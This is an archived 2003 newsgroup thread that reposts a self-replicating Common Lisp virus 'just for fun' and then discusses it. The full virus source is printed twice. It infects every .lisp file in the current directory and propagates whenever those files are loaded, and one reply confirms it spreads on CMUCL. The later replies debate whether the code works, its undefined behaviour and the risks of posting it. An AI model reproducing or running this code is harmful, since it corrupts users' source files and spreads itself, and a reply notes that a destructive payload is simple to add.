=============================================================================
* Forwarded by Ilya V. Vasilyev (2:5020/287)
* Area : su.cm (su.cm)
* From : andrew baranovich, 2:465/215 (Wednesday June 25 2003 15:21)
* To : All
* Subj : Just for fun
=============================================================================
* Originally in su.cm
Crossposted to pvt.virii
Crossposted to ru.virus
;; Virus LISP.Futhorc by herm1t(at)netlux.org / Jun'03
(setq virus '(defun infect (&optional (ls (directory "*.lisp")))
(defun writel (l s) (when l (write-line (car l) s) (writel (cdr l) s)))
(when (setq vic (car ls))
(let ((p nil)) (with-open-file (i vic :direction :input)
(unless (equal (second (read i)) 'VIRUS) (file-position i 0)
(loop (unless (setq line (read-line i nil nil)) (return))
(setq p (append p (list line))))))
(when p (with-open-file (o vic :direction :output)
(format o "(setq virus '~S~%)(eval virus)(infect)~%" virus)
(writel p o))))
(infect (cdr ls))))
)(eval virus)(infect)
--
herm1t http://vx.netlux.org/ HERM-RIPE UR6IUF 2:465/215
-+- golded 3.0.1
+ Origin: Feed my fear (2:465/215)
=============================================================================
-------------------- End of forwarded message --------------------
--
Ivan Boldyrev
Ваши байты биты!
Ivan> From: "Ilya V. Vasilyev" (2:5020/287)
Ivan> Subject: Just for fun
Ivan> Newsgroups: fido7.xsu.hacker
Ivan> Date: Thu, 26 Jun 2003 10:27:28 +0600
Ivan> Organization: Hackers' POWER BBS
Ivan> =============================================================================
Ivan> * Forwarded by Ilya V. Vasilyev (2:5020/287)
Ivan> * Area : su.cm (su.cm)
Ivan> * From : andrew baranovich, 2:465/215 (Wednesday June 25 2003 15:21)
Ivan> * To : All
Ivan> * Subj : Just for fun
Ivan> =============================================================================
Ivan> * Originally in su.cm
Ivan> Crossposted to pvt.virii
Ivan> Crossposted to ru.virus
Ivan> ;; Virus LISP.Futhorc by herm1t(at)netlux.org / Jun'03
Ivan> (setq virus '(defun infect (&optional (ls (directory "*.lisp")))
Ivan> (defun writel (l s) (when l (write-line (car l) s) (writel (cdr l) s)))
Ivan> (when (setq vic (car ls))
Ivan> (let ((p nil)) (with-open-file (i vic :direction :input)
Ivan> (unless (equal (second (read i)) 'VIRUS) (file-position i 0)
Ivan> (loop (unless (setq line (read-line i nil nil)) (return))
Ivan> (setq p (append p (list line))))))
Ivan> (when p (with-open-file (o vic :direction :output)
Ivan> (format o "(setq virus '~S~%)(eval virus)(infect)~%" virus)
Ivan> (writel p o))))
Ivan> (infect (cdr ls))))
Ivan> )(eval virus)(infect)
I would be circumspect in writing programs called "Virus" and posting
them on the net in so-called "hacker" newsgroups, even if it is supposed
to be (I assume) some kind of joke. It looks like you are not the original
author of the "virus" program, but can you understand what you have posted?
It's as if someone has cut-and-pasted fragments of Lisp code from
other programs, without understanding what they were copying.
This program is a lot of gibberish and does not do anything at all:
most of it is never even executed.
Sure it is.
As written, it doesn't do anything other than append itself to all the
*.lisp files in the current directory; if any of them are later loaded (or
compiled and the resulting binary loaded) they'll do the same. It's a
simple virus propagation wrapper; it's a simple matter to modify it to do
something (harmful or not) in addition to propagating itself.
--
Barry Margolin, barry.m...@level3.com
Level(3), Woburn, MA
*** DON'T SEND TECHNICAL QUESTIONS DIRECTLY TO ME, post them to newsgroups.
Please DON'T copy followups to me -- I'll assume it wasn't posted to the group.
> This program is a lot of gibberish and does not do anything at all:
> most of it is never even executed.
It spreads nicely on CMUCL, albeit with warnings about undefined
variables. Didn't you notice the EVAL call near the end?
The (second (read i)) call can have consequences not expected by
the author.
Barry> In article <u65mru...@dtpq.com>,
Barry> Christopher C. Stacy <cst...@dtpq.com> wrote:
>> This program is a lot of gibberish and does not do anything at all:
>> most of it is never even executed.
Barry> Sure it is.
I think I made a typographical error when pasting it into an
editor buffer and reformatting it so that I could actually read it.
My version of it had it setting the variable VIRUS to the source code
of a function called INFECT that took one optional arg but had no body.
This is NG of "hackers" in sense of Eric Raymond.
> even if it is supposed to be (I assume) some kind of joke. It looks
> like you are not the original author of the "virus" program, but can
> you understand what you have posted?
I am smart enough. May be, I am even Turing-complete :)))
> It's as if someone has cut-and-pasted fragments of Lisp code from
> other programs, without understanding what they were copying.
I do understand code before copying.
> This program is a lot of gibberish and does not do anything at all:
> most of it is never even executed.
Be more attentive: the virus is in your brain now :)
--
Ivan Boldyrev
Onions has layers. Unix has layers too.
Actually, he's right even though he didn't mean it. I'll give you a
hint: the program invokes undefined behavior.
--
; Matthew Danish <mda...@andrew.cmu.edu>
; OpenPGP public key: C24B6010 on keyring.debian.org
; Signed or encrypted mail welcome.
; "There is no dark side of the moon really; matter of fact, it's all dark."
Is it because top-level setq? Replace it with defvar.
I think you may have trusted the indenting too much. If I read it
correctly, the body of that function begins with a nested defun.